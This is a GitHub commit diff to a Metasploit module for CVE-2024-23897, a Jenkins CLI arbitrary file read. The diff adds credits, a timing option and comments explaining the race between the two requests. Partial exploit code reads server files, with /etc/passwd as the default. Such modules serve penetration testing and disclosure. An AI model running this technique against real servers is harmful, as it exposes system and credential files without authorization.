Skip to content

Commit ab4f83f

Browse files
committed
additional documentation for CVE-2024-23897
1 parent 2c0f99a commit ab4f83f

File tree

1 file changed

+36
-18
lines changed

1 file changed

+36
-18
lines changed

modules/auxiliary/gather/jenkins_cli_connect_arbitrary_file_read.rb

Lines changed: 36 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -11,22 +11,17 @@ def initialize(info = {})
1111
super(
1212
update_info(
1313
info,
14-
# The Name should be just like the line of a Git commit - software name,
15-
# vuln type, class. Preferably apply
16-
# some search optimization so people can actually find the module.
17-
# We encourage consistency between module name and file name.
18-
'Name' => 'Sample Webapp Exploit',
14+
'Name' => 'Jenkins cliConnect Arbitrary File Read',
1915
'Description' => %q{
2016
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17
2117
},
2218
'License' => MSF_LICENSE,
23-
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
24-
# Add reference to additional authors, like those creating original proof of concepts or
25-
# reference materials.
26-
# It is also common to comment in who did what (PoC vs metasploit module, etc)
2719
'Author' => [
2820
'h00die', # msf module
29-
'Yaniv Nizry' # discovery
21+
'Yaniv Nizry', # discovery
22+
'binganao', # poc
23+
'h4x0r-dz', # poc
24+
'Vozec' # poc
3025
],
3126
'References' => [
3227
[ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'],
@@ -36,15 +31,10 @@ def initialize(info = {})
3631
[ 'URL', 'https://github.com/Vozec/CVE-2024-23897'],
3732
[ 'CVE', '2024-23897']
3833
],
39-
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
40-
'Privileged' => false,
4134
'Targets' => [
4235
[ 'Automatic Target', {}]
4336
],
4437
'DisclosureDate' => '2024-01-24',
45-
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
46-
# It's generally easiest just to put the default at the beginning of the list and skip this
47-
# entirely.
4838
'DefaultTarget' => 0,
4939
'Notes' => {
5040
'Stability' => [ CRASH_SAFE ],
@@ -56,13 +46,17 @@ def initialize(info = {})
5646
}
5747
)
5848
)
59-
# set the default port, and a URI that a user can set if the app isn't installed to the root
6049
register_options(
6150
[
6251
OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),
6352
OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),
6453
]
6554
)
55+
register_advanced_options(
56+
[
57+
OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.01]),
58+
]
59+
)
6660
end
6761

6862
# Returns the Jenkins version. taken from jenkins_cred_recovery.rb
@@ -101,7 +95,10 @@ def check
10195

10296
def upload_request(uuid)
10397
# send upload request asking for file
104-
Rex::ThreadSafe.sleep(0.01) # this sleep seems to be the magic to get the download request to hit very slightly ahead of the upload request
98+
99+
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
100+
# which is required for successful exploitation
101+
Rex::ThreadSafe.sleep(datastore['DELAY'])
105102
res = send_request_cgi(
106103
'uri' => normalize_uri(target_uri.path, 'cli'),
107104
'method' => 'POST',
@@ -110,7 +107,6 @@ def upload_request(uuid)
110107
'headers' => {
111108
'Session' => uuid,
112109
'Side' => 'upload'
113-
# "Content-type": "application/octet-stream"
114110
},
115111
'vars_get' => {
116112
'remoting' => 'false'
@@ -125,6 +121,18 @@ def upload_request(uuid)
125121
end
126122

127123
def process_result
124+
# the output comes back as follows:
125+
126+
# ERROR: Too many arguments: <line 2>
127+
# java -jar jenkins-cli.jar help
128+
# [COMMAND]
129+
# Lists all the available commands or a detailed description of single command.
130+
# COMMAND : Name of the command (default: <line 1>)
131+
132+
# The main thing here is we get the first 2 lines of output from the file.
133+
# The 2nd line from the file is returned on line 1 of the output, and line
134+
# 1 from the file is returned on the last line of output.
135+
128136
file_contents = []
129137
@content_body.split("\n").each do |html_response_line|
130138
# filter for the two lines which have output
@@ -166,6 +174,15 @@ def run
166174
uuid = SecureRandom.uuid
167175

168176
print_status("Sending requests with UUID: #{uuid}")
177+
178+
# Looking over the python PoCs, they all include threading however
179+
# the writeup, and PoCs don't mention a timing component.
180+
# However, during testing it was found that the two requests need to
181+
# his the server nearly simultaneously, with the 'download' one hitting
182+
# first. During testing, even a .1 second slowdown was too much and
183+
# the server resulted in a 500 error. So we need to thread these to
184+
# execute them fast enough that the server gets both in rapid succession
185+
169186
threads = []
170187
threads << framework.threads.spawn('CVE-2024-23897', false) do
171188
upload_request(uuid)
@@ -179,6 +196,7 @@ def run
179196
rescue StandardError
180197
nil
181198
end
199+
182200
if @content_body
183201
process_result
184202
else

0 commit comments

Comments
 (0)